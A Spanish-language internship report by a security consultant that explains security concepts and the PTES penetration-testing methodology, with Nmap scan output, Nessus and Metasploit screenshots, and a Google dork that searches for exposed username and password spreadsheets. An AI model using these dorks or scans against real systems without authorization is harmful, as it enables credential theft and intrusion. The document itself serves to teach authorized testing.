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. Objetivos

Generales

e Dar a conocer las actividades realizadas como consultor de Seguridad Informatica.
e Plasmar un breve desarrollo de un ejercicio de pruebas de penetracion.

Particulares

e Desarrollar un ejercicio de pruebas de penetracion haciendo uso de la metodologia
PTES.
e Dar a conocer el uso de algunas herramientas para realizar pruebas de penetracion

1. Introduccion

Actualmente para las empresas de cualquier sector es importante contar con una presencia
dentro de Internet que les permita tener interaccion con los usuarios brindando el acceso a
plataformas para realizar actividades que el dia de hoy se consideran cotidianas tales como
transacciones bancarias, envio de informacién, compras en linea, entre otras; generando dia
a dia cantidades masivas de informacion circulando dentro de la red. Es necesario contar
con una gran cantidad de equipos y conexiones que permitan la comunicacion dentro de
una empresa y fuera de ella, para facilitar el envio de informacion, la cual se ha vuelto un

recurso valioso, objetivo de los atacantes.

En algunos casos, las empresas no cuentan con una cultura de seguridad que les
permita protegerse ante los atacantes debido a una falta de controles que regulen y brinden
proteccion a los sistemas que utilizan, generando asi perdidas de miles de millones de
ddlares por ciberataques, afectando no so6lo al aspecto econdmico sino también a la

credibilidad y reputacion de las empresas ante los consumidores.

Es importante que las empresas inviertan cierto porcentaje de sus ingresos en cubrir
necesidades del sector de la seguridad informatica, tales como configuraciones seguras, uso
de un Sistema de Gestién de la Seguridad de la Informacion, realizando auditorias de forma
continua, entre otras actividades que le permitan reforzar sus puntos débiles ante

ciberatacantes.
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1. Descripcion de la empresa

Durante un periodo de seis meses estuve laborando en una empresa orientada a seguridad
informatica, la cual cuenta con una serie de servicios entorno al ambito de la seguridad
informatica, en donde desempefié una serie de actividades, las cuales estan descritas en el

presente documento.

Para conocer acerca del entorno y giro de la empresa se detallardn aspectos de las
actividades desempefiadas, no obstante, debido al acuerdo de confidencialidad establecido
con la empresa, se mantendra en anonimato la identidad de ésta, asi como los procesos

utilizados e informacién seran ofuscados, o bien no establecidos en su totalidad.

Actualmente la empresa de seguridad cuenta con una serie de servicios orientados al
sector tecnoldgico, haciendo un gran énfasis en la seguridad informatica con el principal
objetivo de brindar soluciones para el manejo de riesgos digitales, brindando una gran
eficiencia en la operacion del negocio utilizando procesos de mejora con enfoque al
negocio y su operatividad, teniendo soluciones en ambitos de seguridad defensiva y

ofensiva, asi como en el manejo e implementacién de soluciones digitales.
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1.1 Organigrama institucional
El siguiente esquema muestra las actuales relaciones organizacionales dentro de la empresa
(vease figura 1.1), en donde el area en el que me desempefié como Consultor de Seguridad

Informéatica en el area de Seguridad Ofensiva.

Direccion
General
I 1 1 1
Direccion de Direccion de Direccion de Direccion
Finanzas Administracion Operaciones Comercial
1

T T I T 1
Coordinacién de Seguridad Seguridad Seguridad en Investigacion y
proyectos Defensiva Ofensiva Aplicativos Desarrollo

Figura 1.1 Organigrama institucional

A continuacién, una pequefia descripcion de las principales actividades a desempefiar

por cada una de las areas representadas en el organigrama:

e Direccion General: La principal funcion de esta &rea es fungir con actividades
relacionadas a la administracion, gestion y coordinacion de cada una de las areas en

la empresa, liderando las principales actividades a realizar.

e Direccién de Finanzas: Tiene a su cargo labores relacionadas con la gestién de
gastos y recursos economicos, en esta area se lleva a cabo la contabilidad de la

empresa, asi como los registros y movimientos financieros.

e Direccion de Administracion: Las labores de reclutamiento, busqueda de talento,
asi como recursos humanos se encuentra gestionada por esta area la cual desarrolla

actividades relacionadas con la contratacion, manejo de personal.

e Direccién de Operaciones: Es el principal eslabon del area en la que estuve
laborando. EI lider tiene a su cargo la direccion, administracion y gestion de los

proyectos a realizar por parte de cada una de las subareas descritas a continuacion.
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o Coordinacion de Proyectos: Como principal labor es la coordinacion y
gestiébn de proyectos a realizar por el area, estableciendo los tiempos,

actividades a desempefiar por las demés subareas.

o Seguridad Defensiva: Desempefia labores relacionas a la ejecucion y
disefio de pruebas de seguridad, asi como la realizacion de monitoreo e

identificacién de amenazas.

o Seguridad Ofensiva: En esta area, me estuve desempefiando como
consultor de seguridad informatica, las actividades a desempefiar estan
relacionadas con el escaneo, analisis de vulnerabilidades y pruebas de

penetracion.

o Seguridad en Aplicativos: Area que se dedica a realizar pruebas orientadas
a aplicativos web y aplicaciones mdviles con el afan de detectar

vulnerabilidades y llevar a cabo su correspondiente reporte.

o Investigacion y Desarrollo: En el mundo de la tecnologia, es importante
estar a la vanguardia en cuanto a herramientas, actualizaciones, fallas de
seguridad, entre otros, en esta area su principal obligacion es realizar
actividades con principal enfoque a la investigacion y desarrollo de nuevas

técnicas para la realizacion de actividades.

e Direccion Comercial: Area dedicada a la gestion de proyectos en colaboracion con

otras empresas.
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1.2 Consultor de seguridad informatica
Como principal responsabilidad un consultor de seguridad informética debe de estar en
constante actualizacion acerca de las normativas, herramientas, vectores de ataques,

ataques, asi como tener conocimiento de las nuevas tecnologias que van surgiendo.

En este caso mis actividades como consultor de seguridad informatica estan dedicadas a
realizar labores de Seguridad Ofensiva, las cuales estan relacionadas con las actividades
que realiza un atacante externo. Las empresas de diversos sectores suelen contratar este
servicio para garantizar y validar que sus estrategias de seguridad podrian hacer frente a los
ataques que un inexperto, persona con experiencia o bien propios colaboradores llevaran a
cabo y terminen afectando a la reputacion de la empresa en imagen, financieramente, entre

otros.

Una mala préactica que se lleva a cabo es considerarlo juez y parte de la solucion de las
brechas detectadas, debido a que la labor de un consultor pues como tal el consultor es una
persona externa y para crear un plan de trabajo que evite esta serie de riesgos es
responsabilidad de la empresa contratante determinar cudl seria la solucién mas viable sin

afectar a la operacion.

A continuacion brindaré una descripcion acerca de las actividades y responsabilidades

que estuve realizando durante mi estadia en esta empresa:

o Realizar andlisis exhaustivos de aquellas vulnerabilidades que puedan comprometer
el valor del negocio de una institucion, para ello se hace uso de herramientas libres
y comerciales, con el objetivo de encontrar posibles vectores de ataque internos y
externos.

e Conocer acerca del avance de las nuevas tecnologias y con ello el surgimiento de las
nuevas amenazas, es decir tener conocimiento de la forma de interaccion con las
vulnerabilidades de dia cero.

e Realizar reportes en donde sefiale los hallazgos encontrados, asi como posibles
vectores de ataque y escenarios de riesgo que pudiesen comprometer los activos. Si
bien, al realizar un pentest el consultor de seguridad no puede ser juez y parte,
puede brindar una recomendacion que podria mitigar la vulnerabilidad.
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2. Antecedentes

De acuerdo con el SANS Institute la seguridad de la informacion queda definida como:

Todos aquellos procesos y metodologias disefiadas e implementadas
para proteger la informacidon impresa, electronica o cualquier otra forma
de informacion confidencial, privada y sensible o de acceso no

autorizado (SANS Institute, 2018).

La seguridad informética cuenta con cinco principios basicos que se encuentran definidos

como: (véase figura 2.1)
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Integridad

Autenticacion Confidencialidad

Seguridad
Informatica

No repudio Disponibilidad

Figura. 2.1 Pilares de la seguridad

e Integridad: Delimita que Unicamente la informacion puede ser modificada por los
usuarios autorizados de manera controlada.

e Confidencialidad: Sélo los involucrados son aquellos que deben contar con el
acceso a la informacion, evitando la divulgacion a usuarios no involucrados.

e Disponibilidad: La informacion debe estar utilizable cuando sea requerida.

e No repudio: Valida que tanto la parte emisora como receptora sea quienes hayan
emitido la informacion

e Autenticacion: Permite validar que el usuario involucrado sea al que le pertenece la

informacion.

2.1 Amenazas cibernéticas
Al hablar de seguridad informatica es importante tener presente una serie de conceptos que

se encuentran definidos a continuacion.
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2.1.2 Amenaza

Se caracteriza por ser toda accion que puede valerse de aprovechar una vulnerabilidad
atentando a la seguridad de la informacién, teniendo un efecto negativo sobre algun
sistema.

2.1.3 Tipos de amenazas cibernéticas

A continuacion, una breve descripcion de las amenazas cibernéticas mas conocidas.

2.1.3.1 Ingenieria Social

Mediante una serie de técnicas un atacante intenta manipular a un individuo con el afan de
obtener algin beneficio, en la mayoria de los casos la informacion del usuario, enfocado al
ambito tecnoldgico un atacante se puede valer de correos electronicos, llamadas telefonicas

con el afan de hacer caer a la victima

2.1.3.1.1 Phishing

Es una técnica utilizada por un ciberatacante valiéndose de correos electrénicos usurpando
la entidad de alguna empresa o persona, enviando un mensaje hasta cierto punto
convincente en donde haciendo uso de paginas falsas obtiene informacién del usuario, tales

como correos, cuentas de tarjetas bancarias, entre otros.

2.1.3.1.2 Smishing
Al igual que el phishing, el smishing hace uso de mensajes de texto plano en donde envia
un mensaje en donde valiéndose de un enlace recortado, tratan de obtener informacién del

usuario para comprometer su informacion.

2.1.3.1.13Pharming
Valiéndose de un malware un atacante puede modificar el archivo host de un usuario para
posteriormente redireccionarlo a un sitio falso para poder recopilar informacion que le

permita falsificar la identidad de la victima.

2.1.3.2 Malware

Es la abreviatura de “Malicius Software”, en esta clasificacion se encuentra todo tipo de
software malicioso que tiene como finalidad afectar a la disponibilidad, integridad y
confidencialidad de un sistema informético. A continuacién una breve descripcion de los

mas conocidos.
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2.1.3.2.1 Troyano

Es un tipo de malware que tiene como principal objetivo alterar el funcionamiento de la
computadora del usuario provocando acciones tales como bloqueo, modificacion, copia o
eliminacién de datos, si bien este tipo de malware no se multiplica, su forma de distribucion
es simular ser un software legitimo y posteriormente proceder con la instalacién en el

equipo de la victima.

Existen diversas variantes de troyanos tales como backdoors, exploit, rootkits, troyanos
bancarios, troyanos espias, cada uno de ellos tiene una funcion diferente, no obstante, su

objetivo es comdn.

2.1.3.2.2 Ransomware

Software malicioso que tiene como finalidad bloquear la pantalla o bien cifrar informacion
de los usuarios, desde archivos con extensiones predefinidas, el MBR o bien el disco duro,
poniendo como condicion el pago de una suma de dinero para obtener la llave que descifra

la informacion cifrada, por lo regular este pago suele ser solicitado en criptomonedas.

El método de infeccion en su mayoria suele ser mediante el uso de ingenieria social, que,
redirigiendo a algun enlace, logran hacer que el usuario descargue este software que puede

ser dafino para el usuario computadora.

2.1.3.2.3 Virus

Software malicioso que tiene como principal objetivo hacer uso de los recursos del
dispositivo y tomar el control de los principales procesos, sus principales métodos de
infeccion suelen ser acceso a sitios infectados, redes sociales, phishing, consiguiendo asi

que el usuario descargue este cddigo y lo ejecute en su ordenador.

e Bombas de tiempo: Se activan en un momento determinado para causar algin dafio
en el ordenador.

e Bot: Se activan al iniciar el sistema.

e Gusanos: Tienen la facilidad de replicarse y distribuirse por cualquier medio tal

como, dispositivos externos, correos electronicos, redes de datos, etc.
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2.1.3.2.4 Red de bots

Mediante un dispositivo central y haciendo uso de un canal de comunicaciéon en
denominado comand and control (CC) es posible hacer uso de los recursos de dispositivos
infectados de forma remota. Tal fue el caso de la red de bots Mirai basada en 10T, que logré

realizar los ataques de denegacidn de servicios mas importantes hasta el momento.

2.2 Vulnerabilidad
Es una falla o debilidad que puede permitir a un atacante comprometer la integridad,
disponibilidad y confidencialidad de un sistema. Pueden tener su origen en malas

configuraciones, falta de procedimientos, errores de disefio.

Es posible encontrar vulnerabilidades que no se encuentren registradas o de reciente
descubrimiento por parte del fabricante, durante el periodo en el que se descubre la
vulnerabilidad y se libera un parche o solucién se le conoce como dia cero, se suelen liberar
exploits que permiten explotar la vulnerabilidad poniendo en riesgo (léase el apartado 2.3)

los sistemas utilizados por el usuario final. (véase figura 2.2)

Figura. 2.2 Ciclo de vida de una vulnerabilidad
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2.3 Riesgo
Se define como la probabilidad de que un incidente de seguridad suceda, es decir la
materializacion de una amenaza y el impacto esta cause. Depende de tres factores: la

probabilidad, la amenaza y el impacto que tenga.

Al evaluar el riesgo en una empresa se cuenta con dos tipos de riesgo: el técnico y el
operacional. El primero esta relacionado con las vulnerabilidades que se puedan encontrar
en un sistema asi como su posible impacto a nivel técnico relacionado con escalacion de
privilegios, inyecciones de codigo, falta de parches, por mencionar algunos, mientras que el
riesgo operacional esta relacionado con el impacto al negocio que pueda tener el que un
atacante acceda o comprometa la integridad, disponibilidad y confidencialidad de un
sistema y la afectacion a nivel reputacional de la misma empresa, para ello se realiza una
clasificacion de activos en donde se determina cuéles son los de mayor y menor impacto

para empezar a determinar un plan de control de riesgos.

2.4 Vectores de ataque

Son los medios de los cuales se vale un ciberatacante para afectar la disponibilidad,
integridad y confidencialidad de la informacién que maneje un usuario y/o persona,
valiéndose de fallas, vulnerabilidades o debilidades dentro de un sistema que le permite a
un atacante realizar un anélisis detallado del objetivo de ataque validando aspectos como la
codificacion, configuraciones, explotacion de vulnerabilidades que faciliten el comprometer

un sistema.

El contar con un plan de seguridad dentro de una institucion debe estar dirigido a disminuir
vectores de ataque, vulnerabilidades, amenazas y por consecuencia los niveles de riesgo

con los que se cuenten.
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3. Pruebas de penetracion

Durante el desarrollo de los proyectos se lleva a cabo una serie de pruebas para intentar
acceder a los sistemas de acuerdo con el enfoque solicitado en el contrato del proyecto el
cual es acordado previamente con el cliente, con el objetivo principal de obtener una
radiografia a nivel de seguridad de los equipos con los cuales cuenta una institucion, para

detectar los principales riesgos y amenazas.

En un ambiente operativo la mayoria de los dispositivos con los que se cuentan se
encuentran en produccion, debido a ello las pruebas que se realizan a estos aplicativos se
solicita no comprometan la disponibilidad del servicio (desbordamiento de buffer o ataques
de denegacidn de servicio), no obstante, esto no exime a los servicios realizar este tipo de
pruebas las cuales se llevan a cabo de la mano de los administradores de TI para recuperar

el sistema en caso de algun inconveniente.

3.1 Metodologia utilizada
Para llevar a cabo las pruebas de penetracion se hace uso de la metodologia establecida
como Penetration Testing Execution Standard conocida por sus siglas en inglés como

PTES, la cual delimita una serie de procedimientos a seguir para llevar a cabo una prueba
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de penetracién en sistemas definidos, esta prueba consta de siete secciones que involucran

la informacion desde la comunicacion inicial hasta la parte de desarrollo de informes.

Las secciones estan definidas de forma estandar sefialando los puntos: (véase figura
3.1)

1. Interaccion previa
al compromiso

3. Modelado de
amenazas

4. Analisis de
vulnerabilidad

5. Explotacion

6. Post-explotacion

7. Documentacion

. 2
E
=
e
=

Figura. 3.1 Metodologia PTES

A continuacion, se describirdA cada una de las fases de la metodologia.
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3.1.1. Interaccién previa al compromiso

Durante esta etapa se define cual serd el alcance de las pruebas de penetracion,
estableciendo si se llevara a cabo una prueba interna y/o externa; para la primera se realiza
una prueba dentro de los limites de la organizacién, la segunda se limita exclusivamente a
toda aquella informacion que se encuentre disponible desde Internet y que pueda
comprometer la imagen o estructura de la empresa, dentro de estas pruebas se pueden

definir tres clasificaciones:

. Pruebas de caja blanca: Se recibe informacidn acerca de los sistemas tales
cémo direcciones IP, servicios, claves de acceso, disefio de la infraestructura, permite
validar parches de seguridad en servicios o servidores, realizar una prueba exhaustiva
del codigo fuente, el cliente proporciona accesos a los dispositivos de interés para

llevar a cabo las actividades.

. Pruebas de caja gris: El cliente brinda sélo algunos datos de informacion
relevantes que podrian ser de ayuda al consultor a realizar la prueba, otros tantos es

responsabilidad del consultor detectarlos y reportarlos.

. Pruebas de caja negra: En este tipo de pruebas el consultor no cuenta con
informacion alguna para realizar la prueba, tratando de simular el acceso de un

atacante externo.

Herramienta por utilizar: Google Hacking Data Base (GHDB)

El uso de herramientas como GHDB (Google Hacking Data Base) en este proceso, permite
encontrar informacién indexada en el motor de busqueda de Google evitando asi compartir
el punto y ubicacién de busqueda de informacién de datos, asi como detectar la
informacion que se encuentra de manera publica que pueda ser de caracter confidencial, o
bien accesos a plataformas de administracion expuestas, acceso a respaldos que brinden

informacion de credenciales de administracion, entre otros.

La herramienta Google Hacking Database permite acceder al contenido indexado en este

motor de busqueda, haciendo uso de dorks, es posible recopilar informacion especifica que
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pueda brindar un vector de ataque, tal es el caso de formularios, bases de datos, puntos de
restauracion, acceso a consolas expuestas en Internet, informacién confidencial

relacionados con una empresa.

Basicamente es realizar una busqueda avanzada en el motor de bldsqueda con elementos
méas complejos que permiten filtrar el contenido que podria mostrar el buscador y brindar

solo aquella informacion relacionada con sitios especificos.

A continuacion, se muestra un listado, asi como su funcionamiento de los principales
operadores de GHDB (véase Tabla 3.1)

Listado de dorks
Haciendo uso de identificadores es posible realizar bdsquedas orientadas a tener
informacion especifica, a continuacion, una descripcion de los operadores que hace uso la

herramienta. (véase Tabla 3.1)

Operador Descripcion ‘

allintext  Permite buscar alguna cadena de texto dentro del
contenido en una pagina web

allintitle | Permite buscar alguna cadena de texto en el titulo de
alguna pagina web, no es posible utilizar haciendo
uso de otros dorks.

intitle Permite buscar una cadena dentro del titulo de una
pagina web, a diferencia del anterior es posible
hacer uso de otros dorks.

allinurl Permite buscar una cadena de texto solo en la url, no
es posible utilizar haciendo uso de otros dorks.

inurl Permite buscar una cadena de texto en la url, a
diferencia del anterior es posible hacer uso de otros
dorks.

author Permite realizar obtener informacién relacionada a

algin nombre o direccion de correo indicada,
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Operador Descripcion

cache Permite realizar bdsqueda dentro del contenido
cache almacenado en Google, es util para acceder a
contenido borrado.

link Permite realizar busquedas de sitios asociados con
determinado punto web.

related Permite realizar busquedas de paginas relacionadas,
no es posible utilizar haciendo uso de otros dorks.

site Permite realizar busquedas relacionadas
exclusivamente con el dominio sefialado.

ext Permite realizar busquedas de archivos con la
extension sefialada.

filetype Permite realizar basquedas por el tipo de archivo

info Permite mostrar informacion relacionada con el sitio
web
define Permite proporcionar una definicion de palabras que

definan una frase en el orden que se han escrito

Tabla. 3.1 Descripcion de dorks

Para poder combinar los dorks y tener resultados méas especificos, la herramienta de
GHDB cuenta con una serie de operadores Idgicos, los cuales se describen a continuacion
(véase Tabla 3.2)

Operadores 6gicos
Operador  Simbolo Descripcion

NOT - Permite excluir cadenas dentro de la busqueda
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OR Permite realizar busquedas

Operador  Simbolo Descripcion

AND + Permite realizar busquedas de mas de dos palabras
asociadas a la busqueda

Precision de  “” Permite realizar blsquedas de manera exacta

busqueda mostrando solo aquel contenido relacionado con la

cadena entre comillas.

Tabla. 3.2 Descripcién de operadores logicos

3.1.2. Recolecciéon de informacion

En esta etapa el objetivo principal es recabar la mayor cantidad de informacion del
objetivo, con el afdn de detectar aquellos datos que podrian convertirse en punto de
explotacion o bien brindar informacién que pudiese comprometer la continuidad del
negocio permitiendo alguna entrada al sistema de informacion de forma fisica y/o
electronica, de acuerdo con la informacion que se obtenga durante esta fase se podra hacer

uso de vectores de ataque.

La informacion obtenida dentro de esta etapa es obtenida de fuentes pablicas como
buscadores, redes sociales, entre otros, detectando asi informacion expuesta en dichas

fuentes.

Herramienta por utilizar: Nmap

Nmap es una herramienta open source, que permite realizar una serie de escaneos dentro de
una red, esta herramienta es multiplataforma, brindando a un administrador de red, a un
consultor de seguridad o cualquier persona interesada en la informacion de su computadora
realizar un escaneo acerca de los puertos de red, asi como lanzar una serie de scripts para
detectar posibles vulnerabilidades en el equipo escanear. Dependiendo de la bandera que se
utilice se puede realizar un escaneo que brinde informacion detallada tal como, puertos

abiertos, sistema operativo, realizar un escaneo sin inundar la red de paguetes, entre otros.
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Para descubrir los servicios dentro de un sistema, con ayuda de la herramienta de Nmap
es posible escanear los puertos para determinar los servicios que se encuentran a la escucha,
por defecto se escanean los puertos bien conocidos, es decir del 1-1024, la definicion de los
puertos 1025-65535 se encuentran listados en el archivo Nmap-services se incluyen el
listado de puertos de 1025-65535, no obstante, es posible definir un rango de puertos a
analizar durante el escaneo. En el caso de descubrimiento de puertos Nmap cuenta con

seis estados los cuales se encuentran descritos a continuacion:

e Abierto: Acepta conexiones de tipo TCP y UDP, es posible detectar el servicio que
se encuentra corriendo.

e Cerrado: Este tipo de puertos no cuentan con alglin servicio o aplicaciéon para
aceptar peticiones, no obstante, son puertos que pueden ser accesibles al cambiar su
configuracion.

e Filtrado: En este caso, no es posible determinar el estado del puerto debido a que
puede gque la comunicacidn se encuentre filtrada por algun firewall.

¢ No filtrado: Los puertos no filtrados son accesibles, pero no es posible determinar
su estado.

e Abierto | Filtrado: Debido a que no es posible determinar el estado del puerto es
posible que se clasifique en este estado, por lo regular en este tipo de analisis los
puertos abiertos no emiten respuesta.

e Cerrado | Filtrado: Cuando no es posible determinar si un puerto se encuentra

cerrado o filtrado es posible clasificarlo.

En las siguientes figuras (véase figura 3.2 y 3.3) se puede apreciar el funcionamiento de
la herramienta desde la interfaz grafica y a nivel de comandos, asi como una breve

descripcion de las banderas utilizadas en ese momento.
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Escanec Herramientas Perfil  Ayuda (H)
Objetive: | 10.10.10.83 ~ | Perfil: | Intensescan ~| |Escaneo| |Cancelar

Comando: | nmap -T4 -A -v 10.10.10.83

Servicios Salida Nmap Puertos / Servidores Topologia Detalles del servidor  Escaneos

05 4 Servidor - nmap -T4 -4 -v 10.10.10.83 w Detalles

-1 10.10.10.83 0S:RD=8%Q=)T7 (R=Y¥DF=YXT=80%W=0%5=1%A=S+¥F=ARKO=%RD=0%0= UL (R=Y .
HDF=N%T=838%I
05:PL=164%UN=8%RIPL=GXRID=0%RIPCK=Z%RUCK=G%RUD=G) IE (R=YRDFI=N%
T=88%CD=I)

Network Distance: @ hops

TCP Seguence Prediction: Difficulty=261 (Good luck!)

IP ID Seguence Generation: Busy server or unknown class
Service Info: Host: DESKTOP-59FCO9RR; 0S: Windows; CPE: cpe:/
o:microsoft:windows, cpe:/o:vmware:Workstation:12.8.1

Host script results:

| smb-security-mode:

| authentication_level: user

| challenge_response: supported

|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:

| z2.e2:

|_ Message signing enabled but not required
| smb2-time:

| date: 2815-84-25 14:86:27

|_ start_date: N/A&

NSE: Script Post-scanning.

Initiating NSE at 14:86

Completed NSE at 14:85, 8.88s elapsed

Initiating NSE at 14:86

Completed NSE at 14:85, 8.88s elapsed

Read data files from: C:‘\Program Files (x86)\Nmap

05 and Service detection performed. Please report any

incorrect results at https://nmap.corg/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 99.78 seconds
Raw packets sent: 1888 (51.898KE) | Rcvd: 2315

(186.952KB)

Filtrar servidores

Figura. 3.2 Ejemplo escaneo de dispositivo haciendo uso de Nmap

La herramienta de Nmap cuenta con una serie de utilerias que permiten identificar
informacién a nivel de red tales como puertos, sistemas operativos, vulnerabilidades,
informacion de certificados, entre datos que pueden ser utilizados por un administrador de

red, asi como para obtener informacion en un pentest.

En la figura 3.3 se muestra un ejemplo de uso de la herramienta Nmap desde comandos,
en donde se realiza un anélisis de puertos especificos al servidor de busquedas de Google,
en la tabla 3.3 se visualiza la descripcion de cada una de las banderas utilizadas en el

comando.
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root@kali:-# nmap -s5 -sV -p 25,80,443 www.google.com

starting Nmap 7.60 ( https://nmap.org ) at 2018-04-26 18:00 EDT

Nmap scan report for www.google.com (216.58.194.100)

Host is up (0.827s latency).

Other addresses for www.google.com (not scanned): 2607:f8b0:4000:80T::2004
rbDNS record for 216.58.194.100: dfw06s48-in-T100.1el00.net

PORT STATE SERVICE VERSION

25/tcp filtered smtp

80/tcp open http gws

443/tcp open ssl/https gws

2 services unrecognized despite returning data. If you know the service/version,
please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi
new-service :

Figura. 3.3 Resultados del escaneo al portal de Google haciendo uso de herramienta Nmap

En la tabla 3.3 se muestra una descripcion de las banderas utilizadas en el ejemplo.

Opcidn Descripcion

-sS Permite realizar un sondeo sigiloso de puertos debido a
que no a completa las conexiones por TCP, muestra el

estado de la conexion.

-sV Permite detectar la version del servicio que se encuentra
corriendo.

-p Permite realizar un escaneo a la lista de puertos
definida.

Tabla. 3.3 Descripcion de banderas de Nmap

3.1.3 Modelado de amenazas

Una vez recabada la documentacion importante se clasifican los activos en primarios y
secundarios con el fan de identificar todo aquello que desde la perspectiva de seguridad
podria significar un riesgo. Esta actividad debe ser planificada para identificar posibles

amenazas y vulnerabilidades en los activos primarios y secundarios.

Para poder realizar un modelado de amenazas a alto nivel se deben considerar los

siguientes aspectos:

e Documentar informacion relevante obtenida en pasos previos
e ldentificar y clasificar cuales seran los activos primarios y secundarios
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e Identificar cuales serén las posibles amenazas de los activos primarios y secundarios

Herramienta por utilizar: En esta etapa se realiza la clasificacion e identificacion

conforme a la informacion recabada, es decir, es un proceso manual.

3.1.4 Analisis de vulnerabilidad

Esta etapa permite evaluar y descubrir fallas en sistemas que pudiesen ser explotadas por un
atacante, este tipo de fallas esta regularmente asociadas a la configuracion incorrecta de
algin servicio, manejo de sistemas sin soporte, uso de aplicaciones expuestas, hasta una

incorrecta administracién y gestion de controles.

3.1.4.1 Ciclo del analisis de vulnerabilidades

Al realizar un andlisis de vulnerabilidades es necesario incluir cinco etapas, las cuales
ayudan a detectar y remediar las vulnerabilidades presentes en los dispositivos, a estas
etapas se les conoce como el ciclo de analisis de vulnerabilidades el cual se puede

visualizar en la figura 3.4.

Remediacion

Analisis
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Figura. 3.4 Ciclo del analisis de vulnerabilidades

e Inventario: Se define el listado de dispositivos a valorar durante el andlisis de
vulnerabilidades.

e Deteccion: Haciendo uso de alguna herramienta de seguridad informaética, se realiza
un escaneo a los dispositivos listados en el paso anterior.

e Analisis: Se clasifica de acuerdo con el riesgo que pueda tener cada una de las
vulnerabilidades en caso de ser explotada.

e Comprobacion: Debido a que las herramientas automatizadas pueden sefialar
falsos positivos, es necesario comprobar que las vulnerabilidades detectadas en el
paso anterior correspondan a las tecnologias instaladas en el equipo.

e Remediacion: Aplicar alguna accién correctiva tal como aplicacion de parches,
acceso por listas blancas, configuracién de firewall, entre otras que permita eliminar

la vulnerabilidad.

Herramienta por utilizar: Nessus

La herramienta de Nessus es un escaner de vulnerabilidades a nivel sistema operativo y
aplicativo, cuenta con médulos especificos que permiten validar vulnerabilidades presentes

en los objetivos definidos dentro de un escaneo
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Nessus @) Scans  Settings " (1)
Scan Templates

- < Back to Scans
i AllScans

Scanner
fii Trash

P P ) . M

© Policies
m Plugin Rules Advanced Scan Audit Cloud Infrastructure Badlock Detection Bash Shellshock Detection Basic Network Scan
B Customized Reports
& scanners

Credentialed Patch Audit DROWN Detection Host Discovery Intel AMT Security Bypass Internal PCI Network Scan

Malware Scan MDM Config Audit Mobile Device Scan Offline Config Audit PCI Quarterly External Scan
£ & &
- 1 4 =i
Policy Compliance Auditing SCAP and OVAL Auditing Shadow Brokers Scan Spectre and WannaC

» Figura. 3.5 Portal de administracion de Nessus
3.1.5 Explotacién

En esta fase se busca ganar acceso a un sistema o bien evadir restricciones de seguridad, se
tiene como principal objetivo identificar los principales activos, que se pueden identificar

en la etapa previa.

Existen una serie de procedimientos que pueden dificultarla realizacion de esta etapa
como lo son los antivirus, la codificacion, el cifrado, acceso mediante listas blancas, uso de

dispositivos como WAF, entre otros.

Durante esta etapa es posible desarrollar técnicas de evasion, tratando de similar un
escenario de riesgo de un atacante real, que permita validar la correcta aplicacion de

controles.

Herramienta por utilizar: Metasploit

Es un proyecto de codigo abierto que cuenta con una serie de modulos para validar e

identificar riesgos, asi como el explotar algunas de las vulnerabilidades existentes.
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root@kali:~# msfconsole

(

-=[ 1657 exploits - 949 auxiliary - 294 post
[ 513 payloads - 40 encoders - 9 nops

Free Metasploit Pro trial: http://r-7.co/trymsp

Figura. 3.6 Ejemplo herramienta Metasploit

3.1.6 Post-explotacion

Durante esta etapa se tiene como principal objetivo el obtener informacion del equipo
comprometido que pueda brindar valor al activo tales como la lista de usuarios en la
maquina, permisos, interfaces y segmentos de red, herramientas disponibles, procesos
corriendo, entre otros, también es de interés realizar cierta persistencia en el equipo

posterior al ataque haciendo uso de algun proceso habilitado.

En esta fase es donde se hace uso del concepto de puertas traseras o0 por su
pronunciacion en inglés “back door” que permiten al usuario que tenga conocimiento de
ello acceder al equipo, mientras unos estan dedicados al mantenimiento de equipos los
cuales estan colocados con esta finalidad, otros son creados por atacantes para ganar

persistencia dentro del equipo comprometido

Herramienta por utilizar: Metasploit
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3.1.7 Documentacion

En esta fase se lleva a cabo la realizacion de un informe ejecutivo, en donde es prescindible
lograr transmitir la importancia acerca de los hallazgos obtenidos en etapas previas, asi
como el posible impacto al negocio; establecer aspectos como el riesgo e impacto dentro de
la organizacion, el cual puede ser delimitado mediante una escala o puntaje que permitira
clasificar cada uno de los hallazgos obtenidos. Este reporte puede contar con una serie de
recomendaciones, sin embargo, es importante sefialar que no es posible ser juez y parte al

momento de realizar una prueba de penetracion
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4. Desarrollo del proyecto

En la empresa “Empresa X” se solicito realizar un analisis de vulnerabilidades y pruebas de
penetracion al equipo de consultores, en donde se requeria un analisis de caja negra con el
afan de obtener toda la informacion que un atacante externo e interno fuera capaz de

recabar.

Para lograr el objetivo del proyecto se dividié en dos fases, un analisis externo el cuél
recababa toda la informacion que fuese publica y de acceso desde cualquier nodo de red y
la segunda fase un analisis interno en donde desde la infraestructura de la “Empresa X se

recabo toda la informacion accesible desde un nodo de red proporcionado.

4.1 Analisis externo

Las empresas cuentan con informacion qué es de dominio puablico, es decir, se puede
acceder desde Internet brindando a un usuario externo una serie de vectores de ataque que
podrian comprometer informacion de la empresa, afectar su operacion, disminuir su

productividad y/o dafiar la reputacion de esta.

Este servicio involucra analizar el escenario que se tiene desde fuentes de dominio

publico, es decir, toda aquella informacidn que se pueda acceder desde un navegador tal
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como informacion en redes sociales, paginas web accesibles desde Internet, archivos

publicos, informacién indexada en motores de blsqueda, entre otros.

La informacion proporcionada por Internet, sino se cuenta con un control de acceso
delimitado, puede brindar una gran serie de vectores de ataque en este caso, haciendo la

busqueda de informacion sensible tal como usuarios, contrasefias.

Haciendo uso de herramientas como GHDB se trata de acceder a informacion como lo
son archivos con informacién sensible tales como usuarios y contrasefias, archivos de
configuracién, consolas de administracion expuestas o bien informacion de clasificacion

confidencial pero que se encuentre pablica. (véase figura 4.1, 4.2, 4.3, 4.4)

filetype xIs “username | password” L Q HH Iniciar sesion
Google et L '

Todo Videos Noticias Maps Mas Preferencias Herramientas

5 segundos)

Sugerencia: Buscar solo resultados en espatiol - Puedes especificar el idioma de busqueda en

Preferencias

LS AxCrypt Password and PIN Template
 Traducir esta pagina

1. What, URL. User-ld, Password/PIN, Comment. 2, Sourceforge, B > . topcoderwiz,
coolstuff, This is just a sample entry. 3, Mastercard, 123425351234-4, 1234, Expire 05/06 - Also an
example -)

¥lusername: sdiaz password - Universidad Mayor

3, ACTA ODONTOLOGICA SCANDINAVICA, Electrénico, 6 por afio, Registration via
